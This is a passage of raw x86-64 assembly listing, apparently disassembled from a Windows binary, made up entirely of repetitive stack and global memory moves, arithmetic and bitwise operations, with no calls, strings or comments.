mov word [rsp + 0xd1c], ax
movsx eax, byte [rsp + 0x43]
movsx ecx, byte [rsp + 0x59]
xor eax, ecx
mov rcx, qword [rsp + 0x7470]
mov byte [rcx], al
movzx eax, word [rsp + 0xc1c]
mov word [rsp + 0xd68], ax
movsx eax, byte [rsp + 0x46]
mov rcx, qword [rsp + 0x71f8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6d30]
mov byte [rcx], al
lea rax, section..data
mov qword [rsp + 0x7828], rax
mov rax, qword [rsp + 0x7318]
mov rcx, qword [rsp + 0x7678]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ed0], rax
mov rax, qword [rsp + 0x7498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6cd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7648]
mov qword [rsp + 0x7830], rax
lea rax, [rsp + 0xd40]
mov qword [0x14017a678], rax
mov rax, qword [rsp + 0x6f80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f70]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xd64], ax
lea rax, [rsp + 0x9d]
mov qword [rsp + 0x7838], rax
mov rax, qword [rsp + 0x7448]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x75d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x99], al
movzx eax, word [rsp + 0xcd4]
mov word [rsp + 0xd6c], ax
mov rax, qword [rsp + 0x6cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bf8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c38], eax
mov rax, qword [rsp + 0x7430]
mov rcx, qword [rsp + 0x74e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7400], rax
mov rax, qword [rsp + 0x6c50]
mov qword [rsp + 0x7840], rax
mov eax, dword [rsp + 0x3d00]
mov ecx, dword [rsp + 0x3d28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6d68]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a600]
mov byte [rcx], al
mov rax, qword [rsp + 0x71a0]
movzx eax, byte [rax]
mov byte [rsp + 0xab], al
movzx eax, byte [rsp + 0x66]
mov rcx, qword [0x14017a508]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8c], al
movsx eax, word [rsp + 0xcd4]
mov rcx, qword [rsp + 0x7500]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc84], ax
movzx eax, word [rsp + 0xc1c]
mov word [rsp + 0xd70], ax
mov rax, qword [rsp + 0x7370]
mov rcx, qword [rsp + 0x6c18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7268]
mov qword [rcx], rax
lea rax, [rsp + 0x3bfc]
mov qword [rsp + 0x7848], rax
mov rax, qword [rsp + 0x6ad8]
mov rcx, qword [rsp + 0x6a48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7730], rax
mov rax, qword [rsp + 0x75c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c4c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b14], eax
lea rax, [rsp + 0xd44]
mov qword [0x14017a680], rax
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0xac], al
movzx eax, byte [rsp + 0x7e]
mov rcx, qword [rsp + 0x6d50]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x7a], al
lea rax, [rsp + 0xc30]
mov qword [rsp + 0x7850], rax
movsx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0x72f8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6f00]
mov byte [rcx], al
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x7310]
mov qword [rsp + 0x7858], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7858]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7430], rax
lea rax, [rsp + 0x7830]
mov qword [rsp + 0x7860], rax
mov rax, qword [rsp + 0x6af8]
mov ecx, dword [rsp + 0x3c08]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3cf0], eax
mov eax, dword [rsp + 0x3c14]
mov dword [rsp + 0x3d30], eax
movzx eax, word [0x14017a4f8]
movzx ecx, word [rsp + 0xd14]
sub eax, ecx
mov rcx, qword [0x14017a5b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x82]
movzx ecx, byte [rsp + 0x93]
sub eax, ecx
mov byte [rsp + 0x66], al
movzx eax, word [rsp + 0xcdc]
mov word [rsp + 0xd74], ax
mov rax, qword [0x14017a538]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x49]
and eax, ecx
mov rcx, qword [rsp + 0x77f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7070]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6ce0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc34], ax
mov rax, qword [0x140179010]
mov qword [rsp + 0x7868], rax
mov eax, dword [rsp + 0x3b64]
mov ecx, dword [rsp + 0x3c3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7200]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3c0c]
mov dword [rsp + 0x3d34], eax
mov rax, qword [rsp + 0x72b8]
mov rcx, qword [rsp + 0x7238]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d20], rax
movzx eax, byte [rsp + 0x4e]
mov byte [0x14017a4fd], al
mov rax, qword [rsp + 0x7448]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8b]
add eax, ecx
mov rcx, qword [rsp + 0x7650]
mov byte [rcx], al
lea rax, [rsp + 0x78]
mov qword [rsp + 0x7870], rax
movzx eax, word [0x140179020]
mov rcx, qword [rsp + 0x6e10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcfc], ax
mov rax, qword [rsp + 0x69d8]
movzx eax, word [rax]
mov word [rsp + 0xd78], ax
mov rax, qword [rsp + 0x7338]
mov rcx, qword [rsp + 0x70a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6e08], rax
mov rax, qword [rsp + 0x6da0]
mov ecx, dword [rsp + 0x3ca4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x7808]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7710]
mov eax, dword [rax]
mov dword [rsp + 0x3d38], eax
mov rax, qword [rsp + 0x7708]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7198]
mov qword [rsp + 0x7878], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7878]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14017a580], ax
movzx eax, word [rsp + 0xc48]
mov word [rsp + 0xd7c], ax
mov rax, qword [rsp + 0x77f8]
movsx eax, byte [rax]
movsx ecx, byte [0x14017900c]
and eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
movzx eax, word [rsp + 0xd1c]
movzx ecx, word [rsp + 0xc24]
add eax, ecx
mov rcx, qword [rsp + 0x6dd8]
mov word [rcx], ax
lea rax, [rsp + 0x42]
mov qword [rsp + 0x7880], rax
mov eax, dword [rsp + 0x3cb0]
mov ecx, dword [rsp + 0x3c3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b94], eax
mov rax, qword [rsp + 0x6f08]
mov eax, dword [rax]
mov dword [rsp + 0x3d3c], eax
mov rax, qword [rsp + 0x6f50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6e38]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7210]
mov qword [rcx], rax
mov rax, qword [rsp + 0x74a0]
mov qword [rsp + 0x7888], rax
movzx eax, word [0x140179020]
mov rcx, qword [rsp + 0x73a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc68], ax
movzx eax, byte [rsp + 0x4d]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140179036], al
mov rax, qword [rsp + 0x7470]
movsx eax, byte [rax]
mov rcx, qword [0x14017a588]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8a], al
movzx eax, word [rsp + 0xd10]
mov word [rsp + 0xd80], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd24]
add eax, ecx
mov rcx, qword [rsp + 0x70d8]
mov word [rcx], ax
lea rax, section..data
mov qword [rsp + 0x7890], rax
mov rax, qword [rsp + 0x6fc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3be0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7110]
mov rcx, qword [rsp + 0x7280]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6f10], rax
mov rax, qword [0x140179010]
mov qword [rsp + 0x7898], rax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7f], al
movzx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0x7598]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14017a518]
mov byte [rcx], al
lea rax, [rsp + 0x90]
mov qword [rsp + 0x78a0], rax
mov rax, qword [rsp + 0x71e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c38]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x7060]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x75d0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a50]
mov qword [rsp + 0x78a8], rax
mov rax, qword [rsp + 0x7478]
mov ecx, dword [rsp + 0x3ca0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c78], eax
lea rax, [rsp + 0x71d8]
mov qword [rsp + 0x78b0], rax
mov eax, dword [rsp + 0x3c64]
mov ecx, dword [rsp + 0x3bb4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c74], eax
lea rax, [rsp + 0xc0c]
mov qword [rsp + 0x78b8], rax
movsx eax, byte [rsp + 0x80]
movsx ecx, byte [rsp + 0x92]
add eax, ecx
mov rcx, qword [0x14017a5f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcec]
sub eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc38]
mov rcx, qword [rsp + 0x6eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc24], ax
mov rax, qword [rsp + 0x7248]
movzx eax, word [rax]
mov word [rsp + 0xd84], ax
mov rax, qword [rsp + 0x6f50]
mov rcx, qword [rsp + 0x6f30]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x77d0], rax
lea rax, [rsp + 0x3be4]
mov qword [rsp + 0x78c0], rax
mov rax, qword [rsp + 0x6f08]
mov rcx, qword [rsp + 0x6cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c40], eax
mov rax, qword [rsp + 0x6cf0]
mov rcx, qword [rsp + 0x6b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6d58], rax
mov rax, qword [rsp + 0x6ba8]
movzx eax, byte [rax]
mov byte [rsp + 0xad], al
lea rax, [rsp + 0x90]
mov qword [0x14017a688], rax
mov rax, qword [0x14017a680]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd6c]
add eax, ecx
mov rcx, qword [rsp + 0x6d28]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e60]
movzx eax, byte [rax]
mov byte [rsp + 0xae], al
mov rax, qword [rsp + 0x76a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd84]
add eax, ecx
mov word [rsp + 0xd1c], ax
mov rax, qword [rsp + 0x7778]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcac]
sar eax, cl
mov word [rsp + 0xc90], ax
mov eax, dword [rsp + 0x3c6c]
mov dword [rsp + 0x3d40], eax
mov rax, qword [rsp + 0x7198]
mov rcx, qword [rsp + 0x78b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7668], rax
mov rax, qword [rsp + 0x6d60]
mov eax, dword [rax]
mov dword [rsp + 0x3d44], eax
mov rax, qword [rsp + 0x7168]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7588]
mov qword [rsp + 0x78c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x78c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6de8], rax
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [rsp + 0x6c]
xor eax, ecx
mov byte [0x140179037], al
movzx eax, byte [0x14017a4e3]
movzx ecx, byte [rsp + 0x8c]
and eax, ecx
mov rcx, qword [rsp + 0x7118]
mov byte [rcx], al
mov rax, qword [rsp + 0x6c90]
movzx eax, word [rax]
mov word [rsp + 0xd88], ax
movsx eax, byte [rsp + 0x92]
movsx ecx, byte [0x14017a4fc]
add eax, ecx
mov rcx, qword [rsp + 0x71a0]
mov byte [rcx], al
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x78d0], rax
mov rax, qword [rsp + 0x6d10]
mov rcx, qword [rsp + 0x6ad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3af0], eax
mov rax, qword [rsp + 0x7218]
mov rax, qword [rax]
mov qword [rsp + 0x78d8], rax
mov eax, dword [rsp + 0x3c4c]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c8c], eax
mov rax, qword [rsp + 0x6ea0]
mov rcx, qword [rsp + 0x7678]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6d80], rax
movzx eax, word [rsp + 0xd18]
mov rcx, qword [0x14017a5d0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a5d8]
mov word [rcx], ax
lea rax, [rsp + 0xd60]
mov qword [rsp + 0x78e0], rax
mov rax, qword [rsp + 0x6e18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc44]
add eax, ecx
mov word [rsp + 0xcc4], ax
lea rax, [rsp + 0x4e]
mov qword [rsp + 0x78e8], rax
movsx eax, byte [0x14017902f]
mov rcx, qword [rsp + 0x77f8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6b60]
mov byte [rcx], al
mov rax, qword [rsp + 0x7188]
mov ecx, dword [rsp + 0x3c90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d10], eax
mov rax, qword [rsp + 0x6f50]
mov rax, qword [rax]
mov qword [rsp + 0x78f0], rax
mov rax, qword [rsp + 0x6cc0]
mov rcx, qword [rsp + 0x7678]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7630], rax
lea rax, [rsp + 0x3bec]
mov qword [rsp + 0x78f8], rax
lea rax, [rsp + 0xc60]
mov qword [0x14017a690], rax
movzx eax, byte [0x140179022]
mov rcx, qword [rsp + 0x78e8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4d], al
mov rax, qword [rsp + 0x6be0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7298]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd28], ax
movzx eax, word [rsp + 0xd0c]
mov word [rsp + 0xd8c], ax
mov rax, qword [rsp + 0x70c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
shl eax, cl
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0x74a0]
mov qword [rsp + 0x7900], rax
mov rax, qword [rsp + 0x77d8]
mov rcx, qword [rsp + 0x6ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c8c], eax
lea rax, [0x14017a4d0]
mov qword [rsp + 0x7908], rax
mov rax, qword [rsp + 0x7338]
mov rcx, qword [rsp + 0x7550]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a70], rax
movsx eax, word [rsp + 0xcec]
movsx ecx, word [rsp + 0xca8]
add eax, ecx
mov rcx, qword [0x14017a690]
mov word [rcx], ax
mov rax, qword [0x14017a5d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc24]
sub eax, ecx
mov word [rsp + 0xcd0], ax
movzx eax, byte [rsp + 0x82]
mov byte [rsp + 0xaf], al
movsx eax, byte [rsp + 0x91]
movsx ecx, byte [rsp + 0x43]
sub eax, ecx
mov rcx, qword [rsp + 0x7448]
mov byte [rcx], al
lea rax, [rsp + 0xc8c]
mov qword [rsp + 0x7910], rax
mov rax, qword [rsp + 0x6ca0]
mov rcx, qword [rsp + 0x6f30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7280], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3c60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7658]
mov dword [rcx], eax
lea rax, [rsp + 0x3c38]
mov qword [rsp + 0x7918], rax
mov rax, qword [rsp + 0x6ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7120]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6cc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c08]
movsx eax, word [rax]
movsx ecx, word [0x140179054]
add eax, ecx
mov word [0x140179038], ax
lea rax, [rsp + 0x67]
mov qword [rsp + 0x7920], rax
movzx eax, byte [rsp + 0xa2]
mov rcx, qword [rsp + 0x7870]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4d], al
movsx eax, byte [rsp + 0x96]
mov rcx, qword [0x14017a5b8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x72f8]
mov byte [rcx], al
lea rax, [rsp + 0x90]
mov qword [rsp + 0x7928], rax
mov rax, qword [rsp + 0x7810]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c14]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7890]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7290]
mov qword [rsp + 0x7930], rax
mov rax, qword [rsp + 0x7230]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7680]
mov qword [rsp + 0x7938], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7938]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3af0], eax
mov rax, qword [rsp + 0x7210]
mov rcx, qword [rsp + 0x73b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7218]
mov qword [rcx], rax
mov rax, qword [0x14017a4e8]
movzx eax, word [rax]
mov word [0x14017a698], ax
lea rax, [rsp + 0xc3c]
mov qword [rsp + 0x7940], rax
movsx eax, byte [rsp + 0x5d]
movsx ecx, byte [rsp + 0x6a]
add eax, ecx
mov byte [rsp + 0x74], al
lea rax, [rsp + 0x93]
mov qword [rsp + 0x7948], rax
movsx eax, word [0x14017901c]
movsx ecx, word [rsp + 0xd2c]
sub eax, ecx
mov word [rsp + 0xcf0], ax
lea rax, [rsp + 0x7430]
mov qword [rsp + 0x7950], rax
mov rax, qword [rsp + 0x6ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b34]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7788]
mov dword [rcx], eax
mov rax, qword [rsp + 0x78f8]
mov ecx, dword [rsp + 0x3d38]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7180]
mov dword [rcx], eax
lea rax, [rsp + 0x7648]
mov qword [rsp + 0x7958], rax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x72]
sub eax, ecx
mov rcx, qword [0x14017a518]
mov byte [rcx], al
movzx eax, word [rsp + 0xd0c]
movzx ecx, word [rsp + 0xce4]
sub eax, ecx
mov rcx, qword [rsp + 0x6d90]
mov word [rcx], ax
lea rax, [rsp + 0xc08]
mov qword [rsp + 0x7960], rax
movzx eax, word [rsp + 0xd84]
mov rcx, qword [0x14017a5b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x70c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ba8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x73], al
lea rax, [rsp + 0x3ce0]
mov qword [rsp + 0x7968], rax
mov rax, qword [rsp + 0x6ed8]
mov ecx, dword [rsp + 0x3d1c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6eb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x74c0]
mov qword [rsp + 0x7970], rax
mov rax, qword [rsp + 0x6d80]
mov rcx, qword [rsp + 0x7120]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75a0], rax
movzx eax, byte [rsp + 0x8e]
mov rcx, qword [0x14017a650]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6f38]
mov byte [rcx], al
movsx eax, byte [rsp + 0x53]
movsx ecx, byte [rsp + 0x5a]
or eax, ecx
mov byte [0x14017903a], al
movzx eax, word [rsp + 0xc2c]
mov word [rsp + 0xd90], ax
mov rax, qword [0x14017a628]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7048]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xd74], ax
mov rax, qword [rsp + 0x6c28]
movzx eax, byte [rax]
mov byte [rsp + 0xb0], al
mov rax, qword [rsp + 0x6f08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7820]
mov qword [rsp + 0x7978], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3af0], eax
mov eax, dword [rsp + 0x3be4]
movzx ecx, al
mov eax, dword [section..data]
shr eax, cl
mov dword [rsp + 0x3c88], eax
lea rax, [rsp + 0x6a48]
mov qword [rsp + 0x7980], rax
mov rax, qword [rsp + 0x76e0]
mov rcx, qword [rsp + 0x7970]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7860]
mov qword [rcx], rax
mov rax, qword [rsp + 0x71f8]
movzx eax, byte [rax]
mov byte [rsp + 0xb1], al
lea rax, [rsp + 0xc14]
mov qword [0x14017a6a0], rax
movzx eax, word [rsp + 0xd0c]
mov rcx, qword [rsp + 0x6ef8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xcc0], ax
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0xb2], al
movzx eax, byte [0x14017900a]
mov rcx, qword [rsp + 0x71d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x7820]
mov rcx, qword [rsp + 0x7040]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3af0], eax
mov rax, qword [rsp + 0x6d48]
mov eax, dword [rax]
mov dword [rsp + 0x3d48], eax
mov rax, qword [rsp + 0x6be8]
mov rcx, qword [rsp + 0x7648]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7518], rax
mov rax, qword [rsp + 0x71c0]
mov qword [rsp + 0x7988], rax
movsx eax, byte [rsp + 0x7d]
mov rcx, qword [rsp + 0x7920]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0x6ce8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6b30]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a500]
mov word [rcx], ax
mov rax, qword [rsp + 0x6d28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcf4]
sub eax, ecx
mov word [rsp + 0xc28], ax
movzx eax, word [0x140179058]
mov word [rsp + 0xd94], ax
movsx eax, word [rsp + 0xc18]
mov rcx, qword [rsp + 0x7608]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc50], ax
lea rax, [rsp + 0x7518]
mov qword [rsp + 0x7990], rax
mov rax, qword [rsp + 0x7600]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x77d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7328]
mov rcx, qword [rsp + 0x7310]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x69b0], rax
lea rax, [rsp + 0x3bfc]
mov qword [rsp + 0x7998], rax
movzx eax, word [rsp + 0xc1c]
mov rcx, qword [rsp + 0x7850]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xd64], ax
mov rax, qword [rsp + 0x77c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6e60]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14017903b], al
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0xb3], al
movzx eax, byte [rsp + 0x4c]
movzx ecx, byte [rsp + 0x8c]
shl eax, cl
mov byte [rsp + 0x42], al
movzx eax, word [rsp + 0xcb0]
mov word [rsp + 0xd98], ax
mov rax, qword [rsp + 0x7910]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6dd8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xd8c], ax
mov rax, qword [rsp + 0x7140]
mov rcx, qword [rsp + 0x7300]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6da8], rax
mov rax, qword [rsp + 0x73d8]
mov eax, dword [rax]
mov dword [rsp + 0x3d4c], eax
mov rax, qword [rsp + 0x7748]
mov rcx, qword [rsp + 0x77a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7250], rax
mov rax, qword [rsp + 0x6c40]
mov eax, dword [rax]
mov dword [rsp + 0x3d50], eax
movsx eax, word [rsp + 0xc28]
mov rcx, qword [rsp + 0x7450]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a560]
mov word [rcx], ax
mov rax, qword [rsp + 0x77f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6e70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [0x14017a668]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xaf]
add eax, ecx
mov rcx, qword [rsp + 0x71d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6fa8]
movzx eax, byte [rax]
mov byte [rsp + 0xb4], al
mov rax, qword [rsp + 0x7640]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa4]
and eax, ecx
mov byte [rsp + 0x62], al
mov eax, dword [rsp + 0x3d3c]
mov dword [rsp + 0x3d54], eax
mov rax, qword [rsp + 0x6cf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7678]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6cc8], rax
mov rax, qword [rsp + 0x70a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b68]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76c8]
mov dword [rcx], eax
lea rax, [rsp + 0x7830]
mov qword [rsp + 0x79a0], rax
mov rax, qword [rsp + 0x7608]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x71e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140179028], ax
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [0x14017a4f8]
sub eax, ecx
mov word [rsp + 0xcb8], ax
lea rax, [rsp + 0xd8c]
mov qword [rsp + 0x79a8], rax
mov rax, qword [rsp + 0x7258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7568]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xd00], ax
movsx eax, byte [rsp + 0x74]
movsx ecx, byte [rsp + 0xab]
xor eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
mov rax, qword [rsp + 0x7020]
mov rax, qword [rax]
mov qword [rsp + 0x79b0], rax
mov rax, qword [rsp + 0x7318]
mov rcx, qword [rsp + 0x7198]
mov qword [rsp + 0x79b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x79b8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x7310]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3d00]
mov dword [rsp + 0x3d58], eax
mov eax, dword [rsp + 0x3c80]
movzx ecx, al
mov eax, dword [rsp + 0x3b58]
shl eax, cl
mov dword [rsp + 0x3b4c], eax
lea rax, [rsp + 0x9c]
mov qword [0x14017a6a8], rax
lea rax, [rsp + 0xd6c]
mov qword [rsp + 0x79c0], rax
mov rax, qword [0x14017a630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x97]
and eax, ecx
mov byte [rsp + 0x8e], al
movzx eax, word [rsp + 0xd70]
movzx ecx, word [rsp + 0xd18]
sub eax, ecx
